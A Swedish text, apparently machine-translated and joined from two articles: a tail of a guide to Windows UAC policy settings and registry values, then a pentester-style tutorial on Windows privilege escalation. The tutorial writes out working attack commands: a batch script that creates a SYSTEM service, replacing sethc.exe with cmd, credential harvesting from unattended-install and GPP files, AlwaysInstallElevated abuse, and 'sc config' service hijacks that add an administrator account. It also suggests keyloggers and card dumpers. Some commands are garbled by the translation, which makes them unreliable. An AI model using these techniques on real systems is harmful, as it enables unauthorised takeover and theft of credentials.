…\Program Files (x86)\, inklusive undermappar för 64-bitarsversioner av Windows

Möjliga parametervärden:

  • Ingår. En applikation kommer bara att köras med UIAccess-integritetsnivån om den finns i en säker mapp i filsystemet.
  • Inaktiverad. Applikationen kommer att köras med UIAccess-integritetsnivån även om den inte finns i en säker mapp i filsystemet.

Aktuella policyinställningar med registret:

;Inaktivera "EnableSecureUIAPaths"=dword:00000000

Förhöjning av rättigheter endast för signerade och verifierade körbara filer

Den här grupprincipinställningen för kontroll av användarkonto låter dig bestämma om du vill autentisera signaturerna för interaktiva applikationer med infrastruktur offentlig nyckel(Public Key Infrastructure PKI) som kräver auktoritetshöjning. PKI:s uppgift är att fastställa policyn för att utfärda digitala certifikat, utfärda dem och återkalla dem, lagra information som behövs för efterföljande verifiering av certifikatens riktighet. Applikationer som stöder PKI inkluderar: säker E-post, betalningsprotokoll, elektroniska checkar, elektroniskt informationsutbyte, dataskydd i IP-nätverk, elektroniska formulär och dokument med elektroniska digital signatur. Om denna verifiering är aktiverad, initierar programmen verifiering av certifikatsökvägen. Standardvärdet för den här inställningen är Disabled.

Möjliga parametervärden:

  • Ingår. Framtvingar en PKI-certifikatsökväg innan den körs given fil. För det mesta denna inställning används i organisationer med en domän, om administratören har placerat PKI-certifikat i Trusted Publishers-butiken.
  • Inaktiverad. När det här alternativet är inställt, initierar inte UAC en PKI-cerinnan den här körbara filen tillåts köras.

Aktuella policyinställningar med registret:

;Inaktivera "ValidateAdminCodeSignatures"=dword:00000000

När skrivning till en fil eller ett register misslyckas, virtualisera till användarens plats

Den här inställningen styr omdirigeringen av programskrivfel till specifika platser i registret och filsystemet. Om den här inställningen är aktiverad, för äldre applikationer som försöker läsa eller skriva information med hjälp av skyddade områden i systemet, virtualiserar användarkontokontroll registret och filsystemet. Med den här inställningen kan UAC minska risken för äldre applikationer som körs som administratör och skriver data till mappen %ProgramFiles%, %Windir% under körning; %Windir%\system32 eller till HKLM\Software\ systemregisternyckeln. Standardvärdet är aktiverat.

Möjliga parametervärden:

  • Ingår. Programskrivfel omdirigeras vid körning till användardefinierade platser i filsystemet och registret.
  • Inaktiverad. Applikationer som skriver data till säkra platser kommer att misslyckas och kommer inte att köras.

Aktuella policyinställningar med registret:

;Inaktivera "EnableVirtualization"=dword:00000000

Tillåt UIAccess-program att begära höjd utan att använda det säkra skrivbordet

Detta ny parameter policy, som dök upp i operativsystemen Windows 7 och Windows Server 2008 R2, avgör om UIAccess-applikationer automatiskt kan inaktivera det säkra skrivbordet för höjduppmaningar som används av en standardanvändare. Standardvärdet är inaktiverat.

Möjliga parametervärden:

  • Ingår. När den här inställningen är vald får UI åtkomst till program, inklusive fjärrkontroll Windows Assistant, inaktivera automatiskt det säkra skrivbordet för höjduppmaningar. Om policyinställningen "Användarkontokontroll: Byt till det säkra skrivbordet när du uppmanas till höjd" är aktiverad, visas meddelandet på användarens interaktiva skrivbord istället för det säkra skrivbordet.
  • Inaktiverad. När det här alternativet är valt kan det säkra skrivbordet endast inaktiveras av den interaktiva skrivbordsanvändaren eller genom att inaktivera policyinställningen "Användarkontokontroll: Växla till det säkra skrivbordet när du uppmanas till höjd".

Aktuella policyinställningar med registret:

;Inaktivera "EnableUIADesktopToggle"=dword:00000000

Administratörsgodkännandeläge för inbyggt administratörskonto

Den här inställningen avgör om användarkontokontroll tillämpar administratörsgodkännandeläge på det inbyggda kontot "Administratör". Detta inbyggda standardkonto låter användaren logga in i Windows XP-kompatibilitetsläge, vilket gör att alla program kan köras med fullständiga administratörsrättigheter. Som standard är denna policyinställning inaktiverad.

Möjliga parametervärden:

  • Ingår. Om du väljer det här alternativet kommer det inbyggda administratörskontot att använda administratörsgodkännandeläget. I det här fallet kommer varje operation som kräver höjning av rättigheter att åtföljas av en begäran om att bekräfta operationen.
  • Inaktiverad. Det inbyggda administratörskontot kör alla applikationer med fullständiga administratörsrättigheter.

Aktuella policyinställningar med registret:

;Inaktivera "FilterAdministratorToken"=dword:00000000

Slutsats

Den här artikeln täcker allt möjliga inställningar användarkontokontroll. Alla tio säkerhetspolicyinställningar beaktas, vilka är ansvariga för alla möjliga åtgärder relaterade till UAC. Förutom att konfigurera användarkontokontroll med hjälp av grupprincip, övervägs också motsvarande registerjusteringar.

Privilegiumupptrappning är kanske en av nyckelpunkterna som scenariot med ytterligare pentestering eller attack beror på. Mycket ofta, i detta skede, tar allt slut om det inte är möjligt att "utvidga sina befogenheter". Därför kommer vi idag att prata lite om sätt som tillåter en användare att öka sina privilegier inte bara till administratören utan också till systemet.

Introduktion

Privilegeeskalering är något annorlunda på Windows och Linux. Trots att båda OS bära det vanliga antalet sårbarheter, noterar forskarna att en helt patchad Windows-server är mycket vanligare än en uppdaterad Linux-server. Dessutom är releasetiden för Windows-korrigeringar ofta kortare, vilket gör att eskalerande privilegier på Windows är en ganska intressant och ambitiös uppgift. Det är till henne vi tillägnar vår berättelse.

alternativ

Så vilka möjligheter har vi att lyfta oss i Windows-världen? Först och främst har man nyligen hittat tillräckligt med sårbarheter för typsnittsanalys i OS-kärnan, vilket gör processen för privilegieskalering ganska enkel om du har rätt sploit till hands. Om du använder Metasploit räcker bara ett kommando för att få ett systemskal. Men allt detta kommer sannolikt att fungera framgångsrikt endast om systemet inte är helt patchat. Om maskinen har alla uppdateringar installerade kommer det, till skillnad från Linux, inte att vara möjligt att hitta SUID-binärer här, och miljövariabler skickas vanligtvis inte till tjänster eller processer med högre behörighet. Vad finns kvar för oss som ett resultat?

Från admin till system, eller vad alla vet

Vanligtvis, när privilegieupptrappning nämns, kommer en metod som använder uppgiftsschemaläggaren omedelbart att tänka på. I Windows kan du lägga till en uppgift med två verktyg: at och schtasks . Den andra kommer att köra uppgiften på uppdrag av användaren som lade till uppgiften, medan den första körs på uppdrag av systemet. Standardtricket, som du säkert har hört talas om, låter dig starta konsolen med systemrättigheter:

Kl 13:01 /interaktiv cmd

Det andra som kommer att tänka på är att lägga till en tjänst som kör den nödvändiga filen / kör kommandot:

@echo off @break off titel rot Cls echo Skapar tjänst. sc create evil binpath= "cmd.exe /K start" typ= egen typ= interagera > nul 2>&1 echo Startar tjänst. sc start evil > nul 2>&1 echo Stand by... ping 127.0.0.1 -n 4 > nul 2>&1 echo Tar bort tjänst. eko. sc ta bort ondska > nul 2>&1

Det tredje sättet är att ersätta systemverktyget C:\windows\system32\sethc.exe med till exempel cmd . Om du efter det loggar ut och klickar flera gånger Skift-tangenten, kommer en konsol med systemrättigheter att visas.

När det gäller automatiserade metoder kommer Metasploit och dess getsystem omedelbart att tänka på. Ett alternativt alternativ är PsExec från Sysinternals (psexec -i -s -d cmd.exe).

Vi går åt andra hållet

Alla dessa metoder har allmän nackdel: Administratörsbehörighet krävs. Detta innebär att vi lyfter privilegier redan från ett privilegierat konto. I de flesta fall, när du får administratörsrättigheter, har du en massa alternativ för hur du kan klättra ännu högre. Så det är inte särskilt mycket svår uppgift. Idag kommer vi att prata om privilegieskaleringsmetoder som inte använder några 0day-sårbarheter, förutsatt att vi har ett vanligt system och ett vanligt oprivilegierat användarkonto.

Jaga efter meriter

Ett pålitligt och stabilt sätt att höja privilegier och få fotfäste i systemet är att skaffa lösenorden för administratörer eller användare med högre privilegier. Och nu är det dags att tänka på automatiserad installation programvara. Om du hanterar en domän som innehåller en stor maskinpark vill du definitivt inte gå runt och installera programvara på var och en av dem manuellt. Och det kommer att ta så mycket tid att det inte räcker till några andra uppgifter. Därför används obevakade installationer som genererar filer som innehåller administratörslösenord i sin renaste form. Vilket bara är en skattkammare för både pentestare och angripare.

Obevakade installationer

Vid en automatiserad installation på klienten finns filen Unattended.xml, som är ganska nyfiken för oss, kvar, som vanligtvis finns antingen i %WINDIR%\Panther\Unattend\ eller %WINDIR%\Panther\ och kan lagra administratörslösenordet i klartext. Å andra sidan kräver det inte ens någon autentisering för att få den här filen från servern. Du behöver bara hitta servern "Windows Deployment Services". För att göra detta kan du använda auxiliary/scanner/dcerpc/windows_deployment _services-skriptet från Metasploit. Och även om Windows Deployment Services inte är det det enda sättet utför automatiserade installationer anses filen Unattended.xml vara en standard, så dess upptäckt kan likställas med framgång.

GPP

XML-filer för grupprincippreferenser innehåller ofta en uppsättning krypterade autentiseringsuppgifter som kan användas för att lägga till nya användare, skapa en resurs och så vidare. Lyckligtvis är krypteringsmetoden dokumenterad, så du kan enkelt få lösenord i ren form. Dessutom har Metasploit-teamet redan gjort allt åt dig - använd bara modulen /post/windows/gather/credentials/gpp.rb. Om du är intresserad av detaljerna finns all nödvändig information tillgänglig på denna länk.

Användarrättigheter

Mycket ofta är privilegieskalering resultatet av felaktigt konfigurerade användarrättigheter. Till exempel när domänanvändaren är en lokal administratör (eller Power User) på värden. Eller när domänanvändare (eller medlemmar i domängrupper) är lokala administratörer på alla värdar. I så fall behöver du egentligen inte göra någonting. Men de alternativen dyker inte upp särskilt ofta.

AlwaysInstallElevated

Ibland tillåter administratörer vanliga användare att installera program själva, vanligtvis genom följande registernycklar:

HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated

HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated

De talar om för systemet att alla MSI-filer ska installeras med förhöjda privilegier (NT AUTHORITY\SYSTEM). Följaktligen, genom att använda en speciellt skapad fil, kan du återigen utföra åtgärder på uppdrag av systemet och pumpa dina privilegier.

Metasploit inkluderar en speciell modul exploit/windows/local/always_install_elevated , som skapar en MSI-fil med en speciell körbar inbäddad i den, som extraheras och körs av en systemprivilegierad installatör. När den har körts avbryter .msi-filen installationen (genom att anropa en specialgjord ogiltig VBS) för att förhindra att åtgärden registreras i systemet. Dessutom, om du kör installationen med /quiet-tangenten kommer användaren inte ens att få ett felmeddelande.

Saknar autostart

Det händer ofta att systemet registrerar en fil som behöver startas automatiskt, även efter att själva filen redan har sjunkit i glömska. Kanske någon tjänst har raderats felaktigt - det finns ingen körbar fil, men registerposten finns kvar, och vid varje start försöker systemet utan framgång starta den, vilket täpper till händelseloggen med meddelanden om misslyckanden. Denna situation kan också användas för att utöka deras befogenheter. Det första steget är att hitta alla sådana föräldralösa poster. Till exempel med hjälp av autorunsc-verktyget från Sysinternals.

Autorunsc.exe -a | findstr /n /R "Fil\ inte\ hittades"

Efter det, som du gissade, återstår bara att på något sätt skjuta in din kandidat på platsen för den saknade filen.

Citat Magic

Ja, citat kan inte bara spela ett grymt skämt i SQL-frågor, vilket tillåter injektion, utan också hjälpa till att höja privilegier. Problemet är ganska gammalt och har varit känt sedan NTs dagar. Summan av kardemumman är att sökvägarna till de körbara filerna för vissa tjänster inte ramas in av citattecken (till exempel ImagePath=C:\Program Files\Common Files\Network Associates\McShield\McShield.exe), medan sökvägen innehåller blanksteg. . I det här fallet, om angriparen skapar en fil som lägger till nya administratörer till systemet eller utför några andra åtgärder, och kallar den C:\Program Files\common.exe , så kommer common.exe nästa gång tjänsten startas att startas, och den återstående delen av sökvägen kommer att tas som argument. Det är tydligt att en oprivilegierad användare inte kan lägga någonting i Program Files, men tjänstens körbara fil kan också finnas i en annan katalog, det vill säga att användaren kommer att ha möjlighet att glida sin fil.

För att kunna använda den här tekniken måste du hitta en sårbar tjänst (som inte kommer att använda citattecken i sökvägen till sin binära tjänst). Detta görs på följande sätt:

Wmic-tjänsten hämta namn, visningsnamn, sökväg, startläge |findstr /i "auto" |findstr /i /v "c: \windows\\" |findstr /i /v """

Det är sant, på XP kommer detta att kräva administratörsprivilegier, så det är bättre att använda följande metod där: få en lista över tjänster - sc-fråga , se sedan information för varje tjänst - sc qc tjänstnamn .

Allt enligt plan

En annan mekanism som kan hjälpa till att höja behörigheter och som vanligtvis glöms bort är uppgiftsschemaläggaren. Schtasks-verktyget låter dig tilldela uppgifter till specifika händelser. De mest intressanta för oss är ONIDLE, ONLOGON och ONSTART. Som namnen antyder kommer ONIDLE att köras varje gång datorn är inaktiv, ONLOGON och ONSTART - när användaren loggar in respektive när systemet startar. Således kan en separat uppgift tilldelas var och en av händelserna. Till exempel, vid systemstart, kopiera en skadlig binär/keylogger/... någonstans och kör den. När användare loggar in - kör dumpern kreditkort. Kort sagt, allt begränsas endast av din fantasi och uppgiften.

Knep med behörigheter

Filbehörigheter är vanligtvis det första försvaret som hindrar oss från att höja våra privilegier. Det skulle vara frestande att helt enkelt skriva om några systemfil(till exempel samma sethc.exe som nämns i början av artikeln) och få systemprivilegier direkt. Men allt detta är bara en dröm, i själva verket har vi bara tillåtelse att läsa den, vilket ger oss absolut ingenting. Du bör dock inte hänga näsan, för med tillstånd är inte allt så smidigt - här, som på andra ställen, finns det fallgropar, vars kunskap gör att du kan göra det omöjliga möjligt.

En av systemkatalogerna som skyddas av denna mekanism är av särskilt intresse ur synpunkten av privilegieskalering - Program Files. Där beordras åtkomst till oprivilegierade användare. Men det händer ibland att under installationsprocessen ställer installatörer felaktigt in filbehörigheter, vilket resulterar i att alla användare får full tillgång till körbara filer. Vad som följer av detta - du har redan gissat.

En annan av restriktionerna - en vanlig dödlig får inte skriva till roten systemdisk. Men, till exempel, på XP, när du skapar en ny katalog i roten på en enhet, får gruppen BUILTIN\Users FILE_APPEND_DATA och FILE_WRITE_DATA behörigheter (även om mappen ägs av en administratör):

BUILTIN\Users:(OI)(CI)R BUILTIN\Users:(CI)(särskild åtkomst:) FILE_APPEND_DATA BUILTIN\Users:(CI)(särskild åtkomst:) FILE_WRITE_DATA

På de "sju" händer nästan samma sak, bara gruppen AUTENTICATED ANVÄNDARE får behörigheter. Hur kan detta beteende bli ett problem? Det är bara det att vissa applikationer installerar sig själva utanför skyddade kataloger, vilket gör det enkelt att ersätta deras körbara filer. Till exempel inträffade en sådan möjlighet med Metasploit Framework i fallet med dess fleranvändarinstallation. Denna bugg fixades i version 3.5.2 och verktyget flyttades till Program Files.


Hur man söker efter sådana kataloger/filer

Att hitta en katalog med felaktiga behörigheter är redan halva striden. Den måste dock hittas först. För att göra detta kan du använda följande två verktyg: AccessChk och Cacls/ICacls. För att hitta "svaga" kataloger med AccessChk behöver du dessa kommandon:

Accesschk.exe -uwdqs användare c:\ accesschk.exe -uwdqs “Autentiserade användare” c:\

För att söka efter filer med "svaga" behörigheter, använd följande:

Accesschk.exe -uwqs användare c:\*.* accesschk.exe -uwqs “Autentiserade användare” c:\*.*

Samma sak kan göras med Cacls/ICacls:

Cacls "c:\Program Files" /T | findstr Användare

Serviceknep

Ett annat sätt att komma högre i systemet är att dra fördel av felkonfigurationer och servicefel. Som praxis visar kan inte bara filer och mappar, utan även tjänster som körs i systemet ha felaktiga behörigheter. För att upptäcka sådana kan du använda AccessChk-verktyget från den ökända Mark Russinovich:

Accesschk.exe –uwcqv *

Det bästa att se är SERVICE_ALL_ACCESS-behörigheten för autentiserade användare eller avancerade användare. Men följande kan också anses vara en stor framgång:

  • SERVICE_CHANGE_CONFIG - vi kan ändra tjänstens körbara fil;
  • WRITE_DAC - du kan ändra behörigheter, vilket resulterar i behörigheten SERVICE_CHANGE_CONFIG ;
  • WRITE_OWNER - du kan bli ägare och ändra behörigheter;
  • GENERIC_WRITE - ärver SERVICE_CHANGE_CONFIG-behörigheter;
  • GENERIC_ALL - Ärver SERVICE_CHANGE_CONFIG-behörigheter.

Om en (eller flera) av dessa behörigheter visar sig vara inställda för icke-privilegierade användare, ökar chanserna att höja deras behörigheter dramatiskt.

Hur höjer man?

Låt oss säga att du hittat en lämplig tjänst, det är dags att jobba på det. Sc Console-verktyget hjälper till med detta. Till att börja, får vi fullständig information om tjänsten vi är intresserade av, låt oss säga att det är upnphost:

Sc qc upnphost

Med samma verktyg konfigurerar vi det:

Sc config vulnsrv binpath= "nätanvändare john hej /add && net localgroup Administratörer john /add" type= interagera sc config upnphost obj= “.\LocalSystem” lösenord=“”

Som du kan se, nästa gång tjänsten startar, istället för dess körbara fil, kommer kommandot net user john hello /add && net localgroup Administratörer john /add att köras, vilket lägger till en ny användare john med lösenord hello till systemet. Det återstår bara att manuellt starta om tjänsten:

Net stop upnphost net start upnphost

Det är all magin.

Vad är resultatet

En gång i tiden läste jag en artikel i en tidning som beskrev de grundläggande teknikerna för att eskalera privilegier i Windows. Jag lade inte så stor vikt vid det då, men teorin fastnade i mitt huvud och en gång hjälpte mig mycket. Så jag hoppas att du kommer att hitta något nytt i den här artikeln för dig själv som hjälper dig att övervinna en annan barriär en dag.